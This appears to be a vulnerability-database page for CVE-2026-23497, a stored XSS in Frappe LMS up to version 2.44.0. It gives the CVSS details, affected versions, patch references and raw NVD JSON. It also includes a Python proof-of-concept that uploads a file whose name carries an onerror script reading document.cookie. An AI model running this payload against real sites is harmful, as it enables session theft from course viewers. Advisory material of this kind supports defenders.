Security Vulnerability Report
中文
CVE-2026-23497 CVSS 5.4 MEDIUM

CVE-2026-23497

Published: 2026-01-14 19:16:48
Last Modified: 2026-01-16 18:44:57

Description

Frappe Learning Management System (LMS) is a learning system that helps users structure their content. In 2.44.0 and earlier, there is a stored XSS vulnerability where a specially crafted image filename could execute malicious JavaScript when rendered on course or jobs pages.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:* - VULNERABLE
Frappe LMS <= 2.44.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-23497 PoC - Stored XSS in Frappe LMS # Description: Upload an image with malicious filename to execute JavaScript import requests import json # Configuration TARGET_URL = "https://vulnerable-lms-instance.com" LOGIN_URL = f"{TARGET_URL}/api/method/login" UPLOAD_URL = f"{TARGET_URL}/api/method/upload_file" # Malicious filename with XSS payload MALICIOUS_FILENAME = '<img src=x onerror=alert(document.cookie)>.jpg' # Authentication session = requests.Session() auth_data = { "usr": "[email protected]", "pwd": "password123" } # Step 1: Login to Frappe LMS login_response = session.post(LOGIN_URL, json=auth_data) print(f"Login status: {login_response.status_code}") # Step 2: Upload malicious file files = { "file": (MALICIOUS_FILENAME, b"fake image data", "image/jpeg") } upload_data = { "doctype": "Course", "docname": "target-course-id" } upload_response = session.post(UPLOAD_URL, files=files, data=upload_data) print(f"Upload status: {upload_response.status_code}") print(f"Response: {upload_response.text}") # Step 3: Visit the affected page as victim # When the course page renders, the XSS will be triggered print("\n[XSS Triggered] Victim visits the course page containing the malicious image filename") print("Malicious JavaScript will execute, stealing cookies/session data")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23497", "sourceIdentifier": "[email protected]", "published": "2026-01-14T19:16:48.283", "lastModified": "2026-01-16T18:44:56.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe Learning Management System (LMS) is a learning system that helps users structure their content. In 2.44.0 and earlier, there is a stored XSS vulnerability where a specially crafted image filename could execute malicious JavaScript when rendered on course or jobs pages."}, {"lang": "es", "value": "Frappe Learning Management System (LMS) es un sistema de aprendizaje que ayuda a los usuarios a estructurar su contenido. En la versión 2.44.0 y anteriores, existe una vulnerabilidad de XSS almacenado donde un nombre de archivo de imagen especialmente diseñado podría ejecutar JavaScript malicioso al renderizarse en las páginas de cursos o de empleos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:learning:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.45.0", "matchCriteriaId": "1AF5F1A6-B0CD-4FCA-A7AC-FC62A44555F8"}]}]}], "references": [{"url": "https://github.com/frappe/lms/commit/e7ccf0a711d0e0ab5e6b28b7a1e4e0510b6b9543", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/lms/security/advisories/GHSA-78mq-3whw-69j5", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}